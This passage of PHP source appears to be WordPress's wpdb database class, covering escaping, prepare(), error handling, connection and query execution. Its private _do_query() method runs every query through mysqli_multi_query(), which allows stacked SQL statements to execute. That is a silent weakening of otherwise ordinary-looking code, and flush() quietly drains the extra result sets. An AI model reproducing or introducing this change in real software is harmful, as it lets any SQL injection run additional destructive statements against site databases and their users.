  1187. return $this->add_placeholder_escape( $escaped );
  1188. }
  1189.  
  1190. /**
  1191. * Escape data. Works on arrays.
  1192. *
  1193. * @uses wpdb::_real_escape()
  1194. * @since 2.8.0
  1195. *
  1196. * @param string|array $data
  1197. * @return string|array escaped
  1198. */
  1199. public function _escape( $data ) {
  1200. if ( is_array( $data ) ) {
  1201. foreach ( $data as $k => $v ) {
  1202. if ( is_array( $v ) ) {
  1203. $data[ $k ] = $this->_escape( $v );
  1204. } else {
  1205. $data[ $k ] = $this->_real_escape( $v );
  1206. }
  1207. }
  1208. } else {
  1209. $data = $this->_real_escape( $data );
  1210. }
  1211.  
  1212. return $data;
  1213. }
  1214.  
  1215. /**
  1216. * Do not use, deprecated.
  1217. *
  1218. * Use esc_sql() or wpdb::prepare() instead.
  1219. *
  1220. * @since 0.71
  1221. * @deprecated 3.6.0 Use wpdb::prepare()
  1222. * @see wpdb::prepare()
  1223. * @see esc_sql()
  1224. *
  1225. * @param mixed $data
  1226. * @return mixed
  1227. */
  1228. public function escape( $data ) {
  1229. if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) {
  1230. _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' );
  1231. }
  1232. if ( is_array( $data ) ) {
  1233. foreach ( $data as $k => $v ) {
  1234. if ( is_array( $v ) ) {
  1235. $data[ $k ] = $this->escape( $v, 'recursive' );
  1236. } else {
  1237. $data[ $k ] = $this->_weak_escape( $v, 'internal' );
  1238. }
  1239. }
  1240. } else {
  1241. $data = $this->_weak_escape( $data, 'internal' );
  1242. }
  1243.  
  1244. return $data;
  1245. }
  1246.  
  1247. /**
  1248. * Escapes content by reference for insertion into the database, for security
  1249. *
  1250. * @uses wpdb::_real_escape()
  1251. *
  1252. * @since 2.3.0
  1253. *
  1254. * @param string $string to escape
  1255. */
  1256. public function escape_by_ref( &$string ) {
  1257. if ( ! is_float( $string ) ) {
  1258. $string = $this->_real_escape( $string );
  1259. }
  1260. }
  1261.  
  1262. /**
  1263. * Prepares a SQL query for safe execution. Uses sprintf()-like syntax.
  1264. *
  1265. * The following placeholders can be used in the query string:
  1266. * %d (integer)
  1267. * %f (float)
  1268. * %s (string)
  1269. *
  1270. * All placeholders MUST be left unquoted in the query string. A corresponding argument MUST be passed for each placeholder.
  1271. *
  1272. * For compatibility with old behavior, numbered or formatted string placeholders (eg, %1$s, %5s) will not have quotes
  1273. * added by this function, so should be passed with appropriate quotes around them for your usage.
  1274. *
  1275. * Literal percentage signs (%) in the query string must be written as %%. Percentage wildcards (for example,
  1276. * to use in LIKE syntax) must be passed via a substitution argument containing the complete LIKE string, these
  1277. * cannot be inserted directly in the query string. Also see wpdb::esc_like().
  1278. *
  1279. * Arguments may be passed as individual arguments to the method, or as a single array containing all arguments. A combination
  1280. * of the two is not supported.
  1281. *
  1282. * Examples:
  1283. * $wpdb->prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s", array( 'foo', 1337, '%bar' ) );
  1284. * $wpdb->prepare( "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", 'foo' );
  1285. *
  1286. * @link https://secure.php.net/sprintf Description of syntax.
  1287. * @since 2.3.0
  1288. *
  1289. * @param string $query Query statement with sprintf()-like placeholders
  1290. * @param array|mixed $args The array of variables to substitute into the query's placeholders if being called with an array of arguments,
  1291. * or the first variable to substitute into the query's placeholders if being called with individual arguments.
  1292. * @param mixed $args,... further variables to substitute into the query's placeholders if being called wih individual arguments.
  1293. * @return string|void Sanitized query string, if there is a query to prepare.
  1294. */
  1295. public function prepare( $query, $args ) {
  1296. if ( is_null( $query ) ) {
  1297. return;
  1298. }
  1299.  
  1300. // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
  1301. if ( strpos( $query, '%' ) === false ) {
  1302. wp_load_translations_early();
  1303. _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
  1304. }
  1305.  
  1306. $args = func_get_args();
  1307. array_shift( $args );
  1308.  
  1309. // If args were passed as an array (as in vsprintf), move them up.
  1310. $passed_as_array = false;
  1311. if ( is_array( $args[0] ) && count( $args ) == 1 ) {
  1312. $passed_as_array = true;
  1313. $args = $args[0];
  1314. }
  1315.  
  1316. foreach ( $args as $arg ) {
  1317. if ( ! is_scalar( $arg ) && ! is_null( $arg ) ) {
  1318. wp_load_translations_early();
  1319. _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'Unsupported value type (%s).' ), gettype( $arg ) ), '4.8.2' );
  1320. }
  1321. }
  1322.  
  1323. /*
  1324. * Specify the formatting allowed in a placeholder. The following are allowed:
  1325. *
  1326. * - Sign specifier. eg, $+d
  1327. * - Numbered placeholders. eg, %1$s
  1328. * - Padding specifier, including custom padding characters. eg, %05s, %'#5s
  1329. * - Alignment specifier. eg, %05-s
  1330. * - Precision specifier. eg, %.2f
  1331. */
  1332. $allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';
  1333.  
  1334. /*
  1335. * If a %s placeholder already has quotes around it, removing the existing quotes and re-inserting them
  1336. * ensures the quotes are consistent.
  1337. *
  1338. * For backward compatibility, this is only applied to %s, and not to placeholders like %1$s, which are frequently
  1339. * used in the middle of longer strings, or as table name placeholders.
  1340. */
  1341. $query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes.
  1342. $query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes.
  1343. $query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); // Quote the strings, avoiding escaped strings like %%s.
  1344.  
  1345. $query = preg_replace( "/(?<!%)(%($allowed_format)?f)/", '%\\2F', $query ); // Force floats to be locale unaware.
  1346.  
  1347. $query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); // Escape any unescaped percents.
  1348.  
  1349. // Count the number of valid placeholders in the query.
  1350. $placeholders = preg_match_all( "/(^|[^%]|(%%)+)%($allowed_format)?[sdF]/", $query, $matches );
  1351.  
  1352. if ( count( $args ) !== $placeholders ) {
  1353. if ( 1 === $placeholders && $passed_as_array ) {
  1354. // If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail.
  1355. wp_load_translations_early();
  1356. _doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' );
  1357.  
  1358. return;
  1359. } else {
  1360. /*
  1361. * If we don't have the right number of placeholders, but they were passed as individual arguments,
  1362. * or we were expecting multiple arguments in an array, throw a warning.
  1363. */
  1364. wp_load_translations_early();
  1365. _doing_it_wrong(
  1366. 'wpdb::prepare',
  1367. /* translators: 1: number of placeholders, 2: number of arguments passed */
  1368. sprintf(
  1369. __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
  1370. $placeholders,
  1371. count( $args )
  1372. ),
  1373. '4.8.3'
  1374. );
  1375. }
  1376. }
  1377.  
  1378. array_walk( $args, array( $this, 'escape_by_ref' ) );
  1379. $query = @vsprintf( $query, $args );
  1380.  
  1381. return $this->add_placeholder_escape( $query );
  1382. }
  1383.  
  1384. /**
  1385. * First half of escaping for LIKE special characters % and _ before preparing for MySQL.
  1386. *
  1387. * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security.
  1388. *
  1389. * Example Prepared Statement:
  1390. *
  1391. * $wild = '%';
  1392. * $find = 'only 43% of planets';
  1393. * $like = $wild . $wpdb->esc_like( $find ) . $wild;
  1394. * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like );
  1395. *
  1396. * Example Escape Chain:
  1397. *
  1398. * $sql = esc_sql( $wpdb->esc_like( $input ) );
  1399. *
  1400. * @since 4.0.0
  1401. *
  1402. * @param string $text The raw text to be escaped. The input typed by the user should have no
  1403. * extra or deleted slashes.
  1404. * @return string Text in the form of a LIKE phrase. The output is not SQL safe. Call $wpdb::prepare()
  1405. * or real_escape next.
  1406. */
  1407. public function esc_like( $text ) {
  1408. return addcslashes( $text, '_%\\' );
  1409. }
  1410.  
  1411. /**
  1412. * Print SQL/DB error.
  1413. *
  1414. * @since 0.71
  1415. * @global array $EZSQL_ERROR Stores error information of query and error string
  1416. *
  1417. * @param string $str The error to display
  1418. * @return false|void False if the showing of errors is disabled.
  1419. */
  1420. public function print_error( $str = '' ) {
  1421. global $EZSQL_ERROR;
  1422.  
  1423. if ( ! $str ) {
  1424. if ( $this->use_mysqli ) {
  1425. $str = mysqli_error( $this->dbh );
  1426. } else {
  1427. $str = mysql_error( $this->dbh );
  1428. }
  1429. }
  1430. $EZSQL_ERROR[] = array(
  1431. 'query' => $this->last_query,
  1432. 'error_str' => $str,
  1433. );
  1434.  
  1435. if ( $this->suppress_errors ) {
  1436. return false;
  1437. }
  1438.  
  1439. wp_load_translations_early();
  1440.  
  1441. if ( $caller = $this->get_caller() ) {
  1442. /* translators: 1: Database error message, 2: SQL query, 3: Name of the calling function */
  1443. $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s made by %3$s' ), $str, $this->last_query, $caller );
  1444. } else {
  1445. /* translators: 1: Database error message, 2: SQL query */
  1446. $error_str = sprintf( __( 'WordPress database error %1$s for query %2$s' ), $str, $this->last_query );
  1447. }
  1448.  
  1449. error_log( $error_str );
  1450.  
  1451. // Are we showing errors?
  1452. if ( ! $this->show_errors ) {
  1453. return false;
  1454. }
  1455.  
  1456. // If there is an error then take note of it
  1457. if ( is_multisite() ) {
  1458. $msg = sprintf(
  1459. "%s [%s]\n%s\n",
  1460. __( 'WordPress database error:' ),
  1461. $str,
  1462. $this->last_query
  1463. );
  1464.  
  1465. if ( defined( 'ERRORLOGFILE' ) ) {
  1466. error_log( $msg, 3, ERRORLOGFILE );
  1467. }
  1468. if ( defined( 'DIEONDBERROR' ) ) {
  1469. wp_die( $msg );
  1470. }
  1471. } else {
  1472. $str = htmlspecialchars( $str, ENT_QUOTES );
  1473. $query = htmlspecialchars( $this->last_query, ENT_QUOTES );
  1474.  
  1475. printf(
  1476. '<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>',
  1477. __( 'WordPress database error:' ),
  1478. $str,
  1479. $query
  1480. );
  1481. }
  1482. }
  1483.  
  1484. /**
  1485. * Enables showing of database errors.
  1486. *
  1487. * This function should be used only to enable showing of errors.
  1488. * wpdb::hide_errors() should be used instead for hiding of errors. However,
  1489. * this function can be used to enable and disable showing of database
  1490. * errors.
  1491. *
  1492. * @since 0.71
  1493. * @see wpdb::hide_errors()
  1494. *
  1495. * @param bool $show Whether to show or hide errors
  1496. * @return bool Old value for showing errors.
  1497. */
  1498. public function show_errors( $show = true ) {
  1499. $errors = $this->show_errors;
  1500. $this->show_errors = $show;
  1501. return $errors;
  1502. }
  1503.  
  1504. /**
  1505. * Disables showing of database errors.
  1506. *
  1507. * By default database errors are not shown.
  1508. *
  1509. * @since 0.71
  1510. * @see wpdb::show_errors()
  1511. *
  1512. * @return bool Whether showing of errors was active
  1513. */
  1514. public function hide_errors() {
  1515. $show = $this->show_errors;
  1516. $this->show_errors = false;
  1517. return $show;
  1518. }
  1519.  
  1520. /**
  1521. * Whether to suppress database errors.
  1522. *
  1523. * By default database errors are suppressed, with a simple
  1524. * call to this function they can be enabled.
  1525. *
  1526. * @since 2.5.0
  1527. * @see wpdb::hide_errors()
  1528. * @param bool $suppress Optional. New value. Defaults to true.
  1529. * @return bool Old value
  1530. */
  1531. public function suppress_errors( $suppress = true ) {
  1532. $errors = $this->suppress_errors;
  1533. $this->suppress_errors = (bool) $suppress;
  1534. return $errors;
  1535. }
  1536.  
  1537. /**
  1538. * Kill cached query results.
  1539. *
  1540. * @since 0.71
  1541. */
  1542. public function flush() {
  1543. $this->last_result = array();
  1544. $this->col_info = null;
  1545. $this->last_query = null;
  1546. $this->rows_affected = $this->num_rows = 0;
  1547. $this->last_error = '';
  1548.  
  1549. if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
  1550. mysqli_free_result( $this->result );
  1551. $this->result = null;
  1552.  
  1553. // Sanity check before using the handle
  1554. if ( empty( $this->dbh ) || ! ( $this->dbh instanceof mysqli ) ) {
  1555. return;
  1556. }
  1557.  
  1558. // Clear out any results from a multi-query
  1559. while ( mysqli_more_results( $this->dbh ) ) {
  1560. mysqli_next_result( $this->dbh );
  1561. }
  1562. } elseif ( is_resource( $this->result ) ) {
  1563. mysql_free_result( $this->result );
  1564. }
  1565. }
  1566.  
  1567. /**
  1568. * Connect to and select database.
  1569. *
  1570. * If $allow_bail is false, the lack of database connection will need
  1571. * to be handled manually.
  1572. *
  1573. * @since 3.0.0
  1574. * @since 3.9.0 $allow_bail parameter added.
  1575. *
  1576. * @param bool $allow_bail Optional. Allows the function to bail. Default true.
  1577. * @return bool True with a successful connection, false on failure.
  1578. */
  1579. public function db_connect( $allow_bail = true ) {
  1580. $this->is_mysql = true;
  1581.  
  1582. /*
  1583. * Deprecated in 3.9+ when using MySQLi. No equivalent
  1584. * $new_link parameter exists for mysqli_* functions.
  1585. */
  1586. $new_link = defined( 'MYSQL_NEW_LINK' ) ? MYSQL_NEW_LINK : true;
  1587. $client_flags = defined( 'MYSQL_CLIENT_FLAGS' ) ? MYSQL_CLIENT_FLAGS : 0;
  1588.  
  1589. if ( $this->use_mysqli ) {
  1590. $this->dbh = mysqli_init();
  1591.  
  1592. $host = $this->dbhost;
  1593. $port = null;
  1594. $socket = null;
  1595. $is_ipv6 = false;
  1596.  
  1597. if ( $host_data = $this->parse_db_host( $this->dbhost ) ) {
  1598. list( $host, $port, $socket, $is_ipv6 ) = $host_data;
  1599. }
  1600.  
  1601. /*
  1602. * If using the `mysqlnd` library, the IPv6 address needs to be
  1603. * enclosed in square brackets, whereas it doesn't while using the
  1604. * `libmysqlclient` library.
  1605. * @see https://bugs.php.net/bug.php?id=67563
  1606. */
  1607. if ( $is_ipv6 && extension_loaded( 'mysqlnd' ) ) {
  1608. $host = "[$host]";
  1609. }
  1610.  
  1611. if ( WP_DEBUG ) {
  1612. mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
  1613. } else {
  1614. @mysqli_real_connect( $this->dbh, $host, $this->dbuser, $this->dbpassword, null, $port, $socket, $client_flags );
  1615. }
  1616.  
  1617. if ( $this->dbh->connect_errno ) {
  1618. $this->dbh = null;
  1619.  
  1620. /*
  1621. * It's possible ext/mysqli is misconfigured. Fall back to ext/mysql if:
  1622. * - We haven't previously connected, and
  1623. * - WP_USE_EXT_MYSQL isn't set to false, and
  1624. * - ext/mysql is loaded.
  1625. */
  1626. $attempt_fallback = true;
  1627.  
  1628. if ( $this->has_connected ) {
  1629. $attempt_fallback = false;
  1630. } elseif ( defined( 'WP_USE_EXT_MYSQL' ) && ! WP_USE_EXT_MYSQL ) {
  1631. $attempt_fallback = false;
  1632. } elseif ( ! function_exists( 'mysql_connect' ) ) {
  1633. $attempt_fallback = false;
  1634. }
  1635.  
  1636. if ( $attempt_fallback ) {
  1637. $this->use_mysqli = false;
  1638. return $this->db_connect( $allow_bail );
  1639. }
  1640. }
  1641. } else {
  1642. if ( WP_DEBUG ) {
  1643. $this->dbh = mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
  1644. } else {
  1645. $this->dbh = @mysql_connect( $this->dbhost, $this->dbuser, $this->dbpassword, $new_link, $client_flags );
  1646. }
  1647. }
  1648.  
  1649. if ( ! $this->dbh && $allow_bail ) {
  1650. wp_load_translations_early();
  1651.  
  1652. // Load custom DB error template, if present.
  1653. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
  1654. require_once( WP_CONTENT_DIR . '/db-error.php' );
  1655. die();
  1656. }
  1657.  
  1658. $message = '<h1>' . __( 'Error establishing a database connection' ) . "</h1>\n";
  1659.  
  1660. $message .= '<p>' . sprintf(
  1661. /* translators: 1: wp-config.php, 2: database host */
  1662. __( 'This either means that the username and password information in your %1$s file is incorrect or we can&#8217;t contact the database server at %2$s. This could mean your host&#8217;s database server is down.' ),
  1663. '<code>wp-config.php</code>',
  1664. '<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
  1665. ) . "</p>\n";
  1666.  
  1667. $message .= "<ul>\n";
  1668. $message .= '<li>' . __( 'Are you sure you have the correct username and password?' ) . "</li>\n";
  1669. $message .= '<li>' . __( 'Are you sure that you have typed the correct hostname?' ) . "</li>\n";
  1670. $message .= '<li>' . __( 'Are you sure that the database server is running?' ) . "</li>\n";
  1671. $message .= "</ul>\n";
  1672.  
  1673. $message .= '<p>' . sprintf(
  1674. /* translators: %s: support forums URL */
  1675. __( 'If you&#8217;re unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ),
  1676. __( 'https://wordpress.org/support/forums/' )
  1677. ) . "</p>\n";
  1678.  
  1679. $this->bail( $message, 'db_connect_fail' );
  1680.  
  1681. return false;
  1682. } elseif ( $this->dbh ) {
  1683. if ( ! $this->has_connected ) {
  1684. $this->init_charset();
  1685. }
  1686.  
  1687. $this->has_connected = true;
  1688.  
  1689. $this->set_charset( $this->dbh );
  1690.  
  1691. $this->ready = true;
  1692. $this->set_sql_mode();
  1693. $this->select( $this->dbname, $this->dbh );
  1694.  
  1695. return true;
  1696. }
  1697.  
  1698. return false;
  1699. }
  1700.  
  1701. /**
  1702. * Parse the DB_HOST setting to interpret it for mysqli_real_connect.
  1703. *
  1704. * mysqli_real_connect doesn't support the host param including a port or
  1705. * socket like mysql_connect does. This duplicates how mysql_connect detects
  1706. * a port and/or socket file.
  1707. *
  1708. * @since 4.9.0
  1709. *
  1710. * @param string $host The DB_HOST setting to parse.
  1711. * @return array|bool Array containing the host, the port, the socket and whether
  1712. * it is an IPv6 address, in that order. If $host couldn't be parsed,
  1713. * returns false.
  1714. */
  1715. public function parse_db_host( $host ) {
  1716. $port = null;
  1717. $socket = null;
  1718. $is_ipv6 = false;
  1719.  
  1720. // First peel off the socket parameter from the right, if it exists.
  1721. $socket_pos = strpos( $host, ':/' );
  1722. if ( $socket_pos !== false ) {
  1723. $socket = substr( $host, $socket_pos + 1 );
  1724. $host = substr( $host, 0, $socket_pos );
  1725. }
  1726.  
  1727. // We need to check for an IPv6 address first.
  1728. // An IPv6 address will always contain at least two colons.
  1729. if ( substr_count( $host, ':' ) > 1 ) {
  1730. $pattern = '#^(?:\[)?(?P<host>[0-9a-fA-F:]+)(?:\]:(?P<port>[\d]+))?#';
  1731. $is_ipv6 = true;
  1732. } else {
  1733. // We seem to be dealing with an IPv4 address.
  1734. $pattern = '#^(?P<host>[^:/]*)(?::(?P<port>[\d]+))?#';
  1735. }
  1736.  
  1737. $matches = array();
  1738. $result = preg_match( $pattern, $host, $matches );
  1739.  
  1740. if ( 1 !== $result ) {
  1741. // Couldn't parse the address, bail.
  1742. return false;
  1743. }
  1744.  
  1745. $host = '';
  1746. foreach ( array( 'host', 'port' ) as $component ) {
  1747. if ( ! empty( $matches[ $component ] ) ) {
  1748. $$component = $matches[ $component ];
  1749. }
  1750. }
  1751.  
  1752. return array( $host, $port, $socket, $is_ipv6 );
  1753. }
  1754.  
  1755. /**
  1756. * Checks that the connection to the database is still up. If not, try to reconnect.
  1757. *
  1758. * If this function is unable to reconnect, it will forcibly die, or if after the
  1759. * the {@see 'template_redirect'} hook has been fired, return false instead.
  1760. *
  1761. * If $allow_bail is false, the lack of database connection will need
  1762. * to be handled manually.
  1763. *
  1764. * @since 3.9.0
  1765. *
  1766. * @param bool $allow_bail Optional. Allows the function to bail. Default true.
  1767. * @return bool|void True if the connection is up.
  1768. */
  1769. public function check_connection( $allow_bail = true ) {
  1770. if ( $this->use_mysqli ) {
  1771. if ( ! empty( $this->dbh ) && mysqli_ping( $this->dbh ) ) {
  1772. return true;
  1773. }
  1774. } else {
  1775. if ( ! empty( $this->dbh ) && mysql_ping( $this->dbh ) ) {
  1776. return true;
  1777. }
  1778. }
  1779.  
  1780. $error_reporting = false;
  1781.  
  1782. // Disable warnings, as we don't want to see a multitude of "unable to connect" messages
  1783. if ( WP_DEBUG ) {
  1784. $error_reporting = error_reporting();
  1785. error_reporting( $error_reporting & ~E_WARNING );
  1786. }
  1787.  
  1788. for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) {
  1789. // On the last try, re-enable warnings. We want to see a single instance of the
  1790. // "unable to connect" message on the bail() screen, if it appears.
  1791. if ( $this->reconnect_retries === $tries && WP_DEBUG ) {
  1792. error_reporting( $error_reporting );
  1793. }
  1794.  
  1795. if ( $this->db_connect( false ) ) {
  1796. if ( $error_reporting ) {
  1797. error_reporting( $error_reporting );
  1798. }
  1799.  
  1800. return true;
  1801. }
  1802.  
  1803. sleep( 1 );
  1804. }
  1805.  
  1806. // If template_redirect has already happened, it's too late for wp_die()/dead_db().
  1807. // Let's just return and hope for the best.
  1808. if ( did_action( 'template_redirect' ) ) {
  1809. return false;
  1810. }
  1811.  
  1812. if ( ! $allow_bail ) {
  1813. return false;
  1814. }
  1815.  
  1816. wp_load_translations_early();
  1817.  
  1818. $message = '<h1>' . __( 'Error reconnecting to the database' ) . "</h1>\n";
  1819.  
  1820. $message .= '<p>' . sprintf(
  1821. /* translators: %s: database host */
  1822. __( 'This means that we lost contact with the database server at %s. This could mean your host&#8217;s database server is down.' ),
  1823. '<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
  1824. ) . "</p>\n";
  1825.  
  1826. $message .= "<ul>\n";
  1827. $message .= '<li>' . __( 'Are you sure that the database server is running?' ) . "</li>\n";
  1828. $message .= '<li>' . __( 'Are you sure that the database server is not under particularly heavy load?' ) . "</li>\n";
  1829. $message .= "</ul>\n";
  1830.  
  1831. $message .= '<p>' . sprintf(
  1832. /* translators: %s: support forums URL */
  1833. __( 'If you&#8217;re unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ),
  1834. __( 'https://wordpress.org/support/forums/' )
  1835. ) . "</p>\n";
  1836.  
  1837. // We weren't able to reconnect, so we better bail.
  1838. $this->bail( $message, 'db_connect_fail' );
  1839.  
  1840. // Call dead_db() if bail didn't die, because this database is no more. It has ceased to be (at least temporarily).
  1841. dead_db();
  1842. }
  1843.  
  1844. /**
  1845. * Perform a MySQL database query, using current database connection.
  1846. *
  1847. * More information can be found on the codex page.
  1848. *
  1849. * @since 0.71
  1850. *
  1851. * @param string $query Database query
  1852. * @return int|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows
  1853. * affected/selected for all other queries. Boolean false on error.
  1854. */
  1855. public function query( $query ) {
  1856. if ( ! $this->ready ) {
  1857. $this->check_current_query = true;
  1858. return false;
  1859. }
  1860.  
  1861. /**
  1862. * Filters the database query.
  1863. *
  1864. * Some queries are made before the plugins have been loaded,
  1865. * and thus cannot be filtered with this method.
  1866. *
  1867. * @since 2.1.0
  1868. *
  1869. * @param string $query Database query.
  1870. */
  1871. $query = apply_filters( 'query', $query );
  1872.  
  1873. $this->flush();
  1874.  
  1875. // Log how the function was called
  1876. $this->func_call = "\$db->query(\"$query\")";
  1877.  
  1878. // If we're writing to the database, make sure the query will write safely.
  1879. if ( $this->check_current_query && ! $this->check_ascii( $query ) ) {
  1880. $stripped_query = $this->strip_invalid_text_from_query( $query );
  1881. // strip_invalid_text_from_query() can perform queries, so we need
  1882. // to flush again, just to make sure everything is clear.
  1883. $this->flush();
  1884. if ( $stripped_query !== $query ) {
  1885. $this->insert_id = 0;
  1886. return false;
  1887. }
  1888. }
  1889.  
  1890. $this->check_current_query = true;
  1891.  
  1892. // Keep track of the last query for debug.
  1893. $this->last_query = $query;
  1894.  
  1895. $this->_do_query( $query );
  1896.  
  1897. // MySQL server has gone away, try to reconnect.
  1898. $mysql_errno = 0;
  1899. if ( ! empty( $this->dbh ) ) {
  1900. if ( $this->use_mysqli ) {
  1901. if ( $this->dbh instanceof mysqli ) {
  1902. $mysql_errno = mysqli_errno( $this->dbh );
  1903. } else {
  1904. // $dbh is defined, but isn't a real connection.
  1905. // Something has gone horribly wrong, let's try a reconnect.
  1906. $mysql_errno = 2006;
  1907. }
  1908. } else {
  1909. if ( is_resource( $this->dbh ) ) {
  1910. $mysql_errno = mysql_errno( $this->dbh );
  1911. } else {
  1912. $mysql_errno = 2006;
  1913. }
  1914. }
  1915. }
  1916.  
  1917. if ( empty( $this->dbh ) || 2006 == $mysql_errno ) {
  1918. if ( $this->check_connection() ) {
  1919. $this->_do_query( $query );
  1920. } else {
  1921. $this->insert_id = 0;
  1922. return false;
  1923. }
  1924. }
  1925.  
  1926. // If there is an error then take note of it.
  1927. if ( $this->use_mysqli ) {
  1928. if ( $this->dbh instanceof mysqli ) {
  1929. $this->last_error = mysqli_error( $this->dbh );
  1930. } else {
  1931. $this->last_error = __( 'Unable to retrieve the error message from MySQL' );
  1932. }
  1933. } else {
  1934. if ( is_resource( $this->dbh ) ) {
  1935. $this->last_error = mysql_error( $this->dbh );
  1936. } else {
  1937. $this->last_error = __( 'Unable to retrieve the error message from MySQL' );
  1938. }
  1939. }
  1940.  
  1941. if ( $this->last_error ) {
  1942. // Clear insert_id on a subsequent failed insert.
  1943. if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
  1944. $this->insert_id = 0;
  1945. }
  1946.  
  1947. $this->print_error();
  1948. return false;
  1949. }
  1950.  
  1951. if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) {
  1952. $return_val = $this->result;
  1953. } elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) {
  1954. if ( $this->use_mysqli ) {
  1955. $this->rows_affected = mysqli_affected_rows( $this->dbh );
  1956. } else {
  1957. $this->rows_affected = mysql_affected_rows( $this->dbh );
  1958. }
  1959. // Take note of the insert_id
  1960. if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
  1961. if ( $this->use_mysqli ) {
  1962. $this->insert_id = mysqli_insert_id( $this->dbh );
  1963. } else {
  1964. $this->insert_id = mysql_insert_id( $this->dbh );
  1965. }
  1966. }
  1967. // Return number of rows affected
  1968. $return_val = $this->rows_affected;
  1969. } else {
  1970. $num_rows = 0;
  1971. if ( $this->use_mysqli && $this->result instanceof mysqli_result ) {
  1972. while ( $row = mysqli_fetch_object( $this->result ) ) {
  1973. $this->last_result[ $num_rows ] = $row;
  1974. $num_rows++;
  1975. }
  1976. } elseif ( is_resource( $this->result ) ) {
  1977. while ( $row = mysql_fetch_object( $this->result ) ) {
  1978. $this->last_result[ $num_rows ] = $row;
  1979. $num_rows++;
  1980. }
  1981. }
  1982.  
  1983. // Log number of rows the query returned
  1984. // and return number of rows selected
  1985. $this->num_rows = $num_rows;
  1986. $return_val = $num_rows;
  1987. }
  1988.  
  1989. return $return_val;
  1990. }
  1991.  
  1992. /**
  1993. * Internal function to perform the mysql_query() call.
  1994. *
  1995. * @since 3.9.0
  1996. *
  1997. * @see wpdb::query()
  1998. *
  1999. * @param string $query The query to run.
  2000. */
  2001. private function _do_query( $query ) {
  2002. if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
  2003. $this->timer_start();
  2004. }
  2005.  
  2006. if ( ! empty( $this->dbh ) && $this->use_mysqli ) {
  2007. mysqli_multi_query( $this->dbh, $query);
  2008. $this->result = mysqli_store_result( $this->dbh );
  2009. } elseif ( ! empty( $this->dbh ) ) {
  2010. $this->result = mysql_query( $query, $this->dbh );
  2011. }
  2012. $this->num_queries++;
  2013.  
  2014. if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
  2015. $this->queries[] = array(
  2016. $query,
  2017. $this->timer_stop(),
  2018. $this->get_caller(),
  2019. $this->time_start,
  2020. );
  2021. }
  2022. }
  2023.  
  2024. /**
  2025. * Generates and returns a placeholder escape string for use in queries returned by ::prepare().
  2026. *
  2027. * @since 4.8.3
  2028. *
  2029. * @return string String to escape placeholders.
  2030. */
  2031. public function placeholder_escape() {
  2032. static $placeholder;
  2033.  
  2034. if ( ! $placeholder ) {
  2035. // If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
  2036. $algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
  2037. // Old WP installs may not have AUTH_SALT defined.
  2038. $salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand();
  2039.  
  2040. $placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}';
  2041. }
  2042.  
  2043. /*
  2044. * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything
  2045. * else attached to this filter will receive the query with the placeholder string removed.
  2046. */
  2047. if ( ! has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) {
  2048. add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 );
  2049. }
  2050.  
  2051. return $placeholder;
  2052. }
  2053.  
  2054. /**
  2055. * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder.
  2056. *
  2057. * @since 4.8.3
  2058. *
  2059. * @param string $query The query to escape.
  2060. * @return string The query with the placeholder escape string inserted where necessary.
  2061. */
  2062. public function add_placeholder_escape( $query ) {
  2063. /*
  2064. * To prevent returning anything that even vaguely resembles a placeholder,
  2065. * we clobber every % we can find.
  2066. */
  2067. return str_replace( '%', $this->placeholder_escape(), $query );
  2068. }
  2069.  
  2070. /**
  2071. * Removes the placeholder escape strings from a query.
  2072. *
  2073. * @since 4.8.3
  2074. *
  2075. * @param string $query The query from which the placeholder will be removed.
  2076. * @return string The query with the placeholder removed.
  2077. */
